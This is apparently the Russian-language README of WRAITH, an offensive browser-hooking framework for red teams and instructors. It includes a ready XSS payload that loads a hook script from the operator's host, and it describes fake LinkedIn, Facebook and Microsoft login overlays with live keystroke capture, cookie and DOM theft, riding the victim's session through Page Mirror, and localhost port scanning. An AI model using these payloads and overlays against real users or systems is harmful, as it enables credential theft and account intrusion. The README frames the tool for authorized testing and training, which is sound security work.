
Фреймворк для перехвата браузеров, предназначенный для авторизованных red-команд и преподавателей. Перехватывает браузеры через XSS, обеспечивает интерактивное управление после эксплуатации, сбор трофеев при blind-XSS, оверлеи для социальной инженерии и учебную лабораторию.
Современный автономный фреймворк для перехвата браузеров для red-команд, исследователей безопасности и преподавателей — чистый преемник BeEF и инструментов для blind-XSS callback'ов, которыми мы пользуемся.
ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ, ИССЛЕДОВАНИЙ И ОБУЧЕНИЯ. WRAITH — это инструмент наступательной безопасности для демонстрации и тестирования фишинга / man-in-the-browser / blind-XSS техник. Используйте его только против систем и людей, на тестирование которых у вас есть явное разрешение. Вы несёте ответственность за то, как вы его используете.

В ходе нашей работы в Arcanum мы постоянно обращались к двум разным типам инструментов и хотели, чтобы они были одним целым.
С одной стороны был BeEF — Browser Exploitation Framework — для классического рабочего процесса перехватить браузер, затем работать изнутри его сессии: кейлоггер для фейкового логина, разведка локальной сети, отправка модуля живому受害者. Это инструмент, который мы использовали, чтобы сделать man-in-the-browser реальным для людей. Но он устарел, большие его части ненадёжны в современных браузерах, а оверлеи для социальной инженерии выглядят как логины десятилетней давности.
С другой стороны были наши любимые blind-XSS callback-фреймворки (XSS Hunter, ezXSS): вставьте payload в поле, и в тот момент, когда он сработает где-то, чего вы не видите, он отправит домой добычу — origin, cookies, DOM, скриншот.
Что нам всё больше было нужно — особенно когда всё больше наших целей становились , где непроверенный текст проходит через агентов, выводы инструментов, очереди проверки администраторами и консоли поддержки, и — так это единый фреймворк, который делал бы : интерактивное, постоянное пост-эксплуатационное управление хуком BeEF blind-XSS callback-добычу по принципу "выстрелил и забыл", в одном payload, который надёжен в современных браузерах и выглядит как сегодняшние реальные экраны входа.
Поэтому мы создали WRAITH.
Мы выпускаем WRAITH рано и намеренно. Мы предпочитаем передать его в руки людей, которые действительно будут его использовать — и услышать, что ломается — чем держать его у себя, пока он не будет "готов".
Это означает: ожидайте шероховатостей и багов. Некоторые модули проверены в бою больше, чем другие, поведение браузеров постоянно меняется под нами (см. примечания о сетевом сканировании ниже), и API могут меняться между версиями. Если вы столкнулись с чем-то, пожалуйста, откройте issue — шаги воспроизведения, браузер + версия и ожидаемое поведение — на вес золота. PR приветствуются в соответствии с условиями участия проекта.
Самый быстрый путь. Вам понадобятся Docker + Docker Compose.
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh проведёт вас через всё:
.env в .gitignore (chmod 600),
и собирает + запускает контейнер. Консоль оператора : http://YOUR_IP:8090/operator/
Страница входа : http://YOUR_IP:8090/login (пользователь "operator")
Демо-страница жертвы : http://YOUR_IP:8090/demo/
Hook payload : http://YOUR_IP:8090/hook.js
Готовый XSS payload:
"><script src="http://YOUR_IP:8090/hook.js"></script>
Управляйте им стандартными командами compose:
docker compose logs -f # наблюдать за ним
docker compose down # остановить (сохраняет ./data)
./setup.sh # перенастроить (сменить пароль, изменить адрес, …)
Захваченные сессии сохраняются в ./data/ на хосте — никогда не встраиваются в
образ, никогда не коммитятся (.env и data/ в .gitignore).
Консоль оператора защищена входом всякий раз, когда установлен пароль оператора, с входом по имени пользователя + паролю:

npm install
npm start
Затем откройте консоль оператора на http://127.0.0.1:3000/operator/ и демо-страницу жертвы на http://127.0.0.1:3000/demo/ (во втором браузере/профиле). На localhost вход по умолчанию отключён для удобства — сервер отказывается привязываться к публичному интерфейсу без пароля оператора, так что вы не сможете случайно открыть незащищённую панель.
/hook.js — это небольшой payload. Вставьте его на любую страницу, которой вы управляете
(<script src="/hook.js"></script>), или доставьте его через XSS в вашей цели. Браузер,
который его загружает, открывает WebSocket обратно к оператору, идентифицирует себя
(браузер, ОС, IP, страница, UA), автоматически переподключается и переживает навигацию. Каждый
перехваченный браузер появляется в консоли в реальном времени, где вы выбираете его и управляете им —
полная панель управления — это главный скриншот в начале этого README: список перехваченных браузеров,
детали цели, элементы управления развёртыванием, живая лента активности и захваченные учётные данные.
Современные оверлеи фейкового входа, отображаемые в изолированном shadow DOM, чтобы они выглядели попиксельно корректно на любой хост-странице и размывали страницу позади них, как настоящее модальное окно повторной аутентификации. В комплекте LinkedIn, Facebook и Microsoft / Office 365 (аутентичная двухэтапная проверка email → пароль).

Каждый символ, который цель вводит в оверлей, передаётся в консоль в реальном времени, а отправленные учётные данные попадают в Captured Credentials — всё сохраняется, так что ничего не теряется при обновлении или перезапуске.

В тот момент, когда браузер подключается, WRAITH автоматически запускает Page Capture: ровно то, что захватывает blind-XSS фреймворк, когда ваш payload срабатывает там, где вы не можете видеть — где он сработал (origin + URL + referrer), cookies жертвы (не-HttpOnly), полный DOM и скриншот. Сбои сообщаются честно, потому что они и есть урок: HttpOnly cookies никогда не появляются, а CSP или tainting canvas из-за кросс-оригинальных изображений может заблокировать скриншот.

Именно здесь WRAITH идёт дальше, чем инструменты, которые он заменяет. Когда вы получаете blind XSS или hook на странице, большинство фреймворков останавливаются на скриншоте и дампе сырого HTML — вы можете видеть, где сработал ваш payload, но не можете ничего с ним сделать.
Page Mirror от WRAITH превращает эту добычу в тупике в живое, навигируемое представление приложения. Откройте перехваченную страницу как реальное, отрисованное представление браузера внутри консоли оператора — затем кликайте по ссылкам и перемещайтесь по приложению визуально, точно так же, как это делала бы жертва.

Ключевой момент: каждая навигация выполняется через перехваченный браузер, поэтому она использует сессию жертвы и доверие same-origin. Любая страница, конечная точка или функция, доступная сессии жертвы, доступна и вам — включая страницы, скрытые за аутентификационным session cookie, который вы никогда не видите (и, будучи HttpOnly, никогда не смогли бы украсть напрямую).
В примере ниже мы начинаем с очереди тикетов агента поддержки и кликаем прямо до внутреннего Credential Vault — страницы, которая открывается только внутри аутентифицированной сессии агента. Никакие учётные данные не выужены фишингом, никакой cookie не украден: мы просто проехали на сессии жертвы до неё.

Кросс-оригинальные чтения по-прежнему не работают по замыслу (Same-Origin Policy действует) — досягаемость зеркала ровно равна досягаемости жертвы, не больше и не меньше. Эта граница сама по себе является частью урока.
Каталог в стиле XSS-Hunter с готовыми к запуску строками инъекций для любого контекста
(HTML, обход атрибутов, закрытие тегов, обработчики событий, JS-контекст, javascript:
URI, jQuery), каждый автоматически заполнен вашим hook URL и копируется в один клик.

Использует перехваченный браузер как прокси для идентификации локальных сервисов жертвы.
Это временной побочный канал, перестроенный для современных браузеров — надёжный вариант
по умолчанию — это калиброванное сканирование 127.0.0.1 с использованием двух независимых примитивов (fetch- и
WebSocket-тайминга, буквально метод check.js от eBay). Режимы LAN включены, но
честно помечены, потому что Chrome 142+ Local Network Access теперь ограничивает их (см.
ниже).
Намеренно уязвимый "отдел поддержки" на /lab с stored-XSS приёмником, чтобы вы
могли продемонстрировать всю цепочку от начала до конца, same-origin: отправьте вредоносный тикет → "агент"
просматривает очередь, и payload срабатывает (момент blind-XSS) → Page
Mirror перехваченного агента и достаньте защищённое сессией хранилище. Намеренно небезопасно
по замыслу, с заложенными флагами.

Hook срабатывает в момент загрузки, точно так же, как blind-XSS payload, вставленный в сохранённое поле, которое позже отображается в каком-то контексте администратора/поддержки/логов/агента, который вы не видите. Уроки всплывают прямо в данных:
Для офлайн-лаборатории разместите html2canvas самостоятельно — см. public/vendor/README.md.
JavaScript не может читать кросс-оригинальные ответы, но он может запустить запрос и наблюдать, как он завершается ошибкой и насколько быстро, что раскрывает состояние порта. Модуль был перестроен вокруг того, что работает в современных браузерах (2025–2026), потому что старый LAN-скан эпохи BeEF теперь мёртв.
Современная реальность: Chrome 142+ (окт. 2025) выпустил Local Network Access (LNA), который ограничивает запросы к частным диапазонам (10.x / 172.16.x / 192.168.x) запросом разрешения. Слепой LAN-скан больше не достигает сети. Но loopback (127.0.0.1) по-прежнему доступен, и его сканирование — это реальная атака — eBay, Best Buy и другие были пойманы на сканировании localhost посетителей для идентификации локальных сервисов и инструментов удалённого доступа.
Итак, у модуля три режима:
127.0.0.1, которое проверяет каждый порт с помощью fetch-тайминга и WebSocket-тайминга,
сначала изучает базовый уровень RST этой машины, затем помечает всё, что отвечает,
зависает или работает медленнее, как OPEN, определяет вероятный сервис и показывает, согласились ли
fetch, ws или оба. Работает в Chrome и Firefox сегодня.| BeEF | WRAITH |
|---|---|
hook.js + XHR polling | public/hook.js + WebSocket (живой, надёжный) |
| Ruby-сервер + RESTful API | server.js (Node + ws) |
| Панель онлайн/офлайн браузеров | Консоль оператора "Hooked Browsers" |
| Модуль Pretty Theft | оверлеи modules/*.js (современные LinkedIn/Facebook/Microsoft) |
| Обнаружение сети / сканер портов | modules/portscan.js (калиброванный, для современных браузеров) |
| Результаты команд | Живые нажатия клавиш + Captured Credentials + Scan Results |
| (нет аналога) | Page Capture (добыча blind-XSS) + Page Mirror (навигация по приложению) |
Эти инструменты находятся на разных стадиях атаки и злоупотребляют разными контекстами доверия. Они дополняют друг друга и выстраиваются в цепочку.
| WRAITH / BeEF | Blind-XSS фреймворки (XSS Hunter, ezXSS) | AiTM-прокси (Evilginx, EvilGoPhish, Modlishka) | |
|---|---|---|---|
| Что это | Man-in-the-browser пост-эксплуатационный C2 (+ добыча blind-XSS) | XSS обнаружение + доказательство с одноразовой разведкой | Adversary-in-the-middle обратный прокси |
| Предварительное условие | У вас уже есть JS, выполняющийся на странице | То же: ваш payload выполняется там, где вы не видите | Жертва кликает по ссылке и входит на вашем поддельном домене |
| Какой origin используется | Реальная сессия / реальный origin жертвы | Origin уязвимого приложения | Отдельный домен атакующего, проксирующий реальный сайт |
| Что вы захватываете | Учётные данные + нажатия клавиш + разведка + добыча blind-XSS + навигация по приложению через Page Mirror | "Сработало, и вот": DOM, cookies, скриншот, origin | Реальные учётные данные и post-MFA session token |
| Обходит MFA? | Нет — вы выудили статическое учётное данное | Только если едет на живой аутентифицированной сессии на странице | Да — кража post-auth session cookie и есть суть |
Честное различие для обучения: наш оверлейный фишинг собирает то, что пользователь вводит — он не захватывает реальную сессию и не обходит MFA. Именно поэтому это отличный контраст и почему индустрия перешла на устойчивую к фишингу, привязанную к origin аутентификацию (FIDO2 / WebAuthn / passkeys). Реалистичная цепочка атаки использует все три: blind XSS находит и доставляет выполнение кода, hook WRAITH даёт интерактивное управление внутри сессии (и через Page Mirror напрямую достигает функциональности приложения), а редирект может направить жертву в поток Evilginx для получения реальной сессии, прошедшей MFA.
Всё управляется через env; одна и та же сборка работает где угодно, потому что hook.js
выводит свой call-back URL из того места, где он был обслужен. setup.sh записывает это в .env.
| Env var | По умолчанию | Назначение |
|---|---|---|
WRAITH_HOST | 127.0.0.1 | интерфейс привязки (0.0.0.0 для открытия; принудительно в Docker) |
WRAITH_PORT | 3000 | HTTP + WebSocket порт (setup.sh по умолчанию 8090) |
WRAITH_PUBLIC_URL | (выводится) | ваш IP/домен, используется для вывода корректных hook URL |
WRAITH_OP_USER | (пусто) | имя пользователя оператора для входа (необязательно; setup.sh задаёт) |
WRAITH_OP_PASSWORD | (пусто) | пароль оператора для входа; обязателен для публичной привязки |
WRAITH_SECRET | (случайный/при загрузке) | подписывает session cookies; задайте для сохранения входов между перезапусками |
WRAITH_SESSION_HOURS | 12 | время жизни сессии оператора |
WRAITH_AUTOCAPTURE | 1 | автоматический запуск Page Capture при hook (0 = вручную, в стиле BeEF) |
Подписанный HttpOnly session cookie покрывает и панель, и живой WebSocket. Hook
payload, демо-страница и канал /ws/hook остаются публичными, чтобы жертвы могли до них добраться.
В качестве предохранителя сервер отказывается привязываться к публичному интерфейсу, если
пароль не задан.
Для развёртывания на bare-metal / systemd вместо Docker см. deploy/DEPLOY.md.
server.js C2-сервер (HTTP + WS, две роли по пути)
config.js конфигурация через env
store.js постоянное хранилище сессий/добычи (data/sessions.json)
lab.js намеренно уязвимая практическая лаборатория (/lab)
public/hook.js payload
public/demo/ безобидная посадочная страница "жертвы"
public/operator/ консоль оператора (GUI + каталог payload'ов)
modules/ linkedin.js facebook.js microsoft.js portscan.js capture.js + реестр
public/vendor/ опциональные самостоятельно размещённые библиотеки (html2canvas для офлайн-скриншотов)
setup.sh интерактивный установщик Docker
Dockerfile / docker-compose.yml
deploy/ альтернатива на bare-metal systemd
docs/screenshots/ изображения, используемые в этом README
WRAITH — © 2026 Arcanum Information Security, выпущен под Apache License 2.0.
Вы можете свободно использовать, изменять и распространять его — включая в вашем собственном обучении —
но вы должны сохранять атрибуцию: сохраняйте файлы LICENSE и NOTICE и
уведомление об авторских правах Arcanum во всём, что вы распространяете или форкаете, и указывайте
внесённые вами изменения (Apache-2.0 §4). См. NOTICE. Лицензия не предоставляет
права на использование имени или знаков Arcanum помимо описания происхождения кода.
Создано с ❤️ командой Arcanum — https://arcanum-sec.com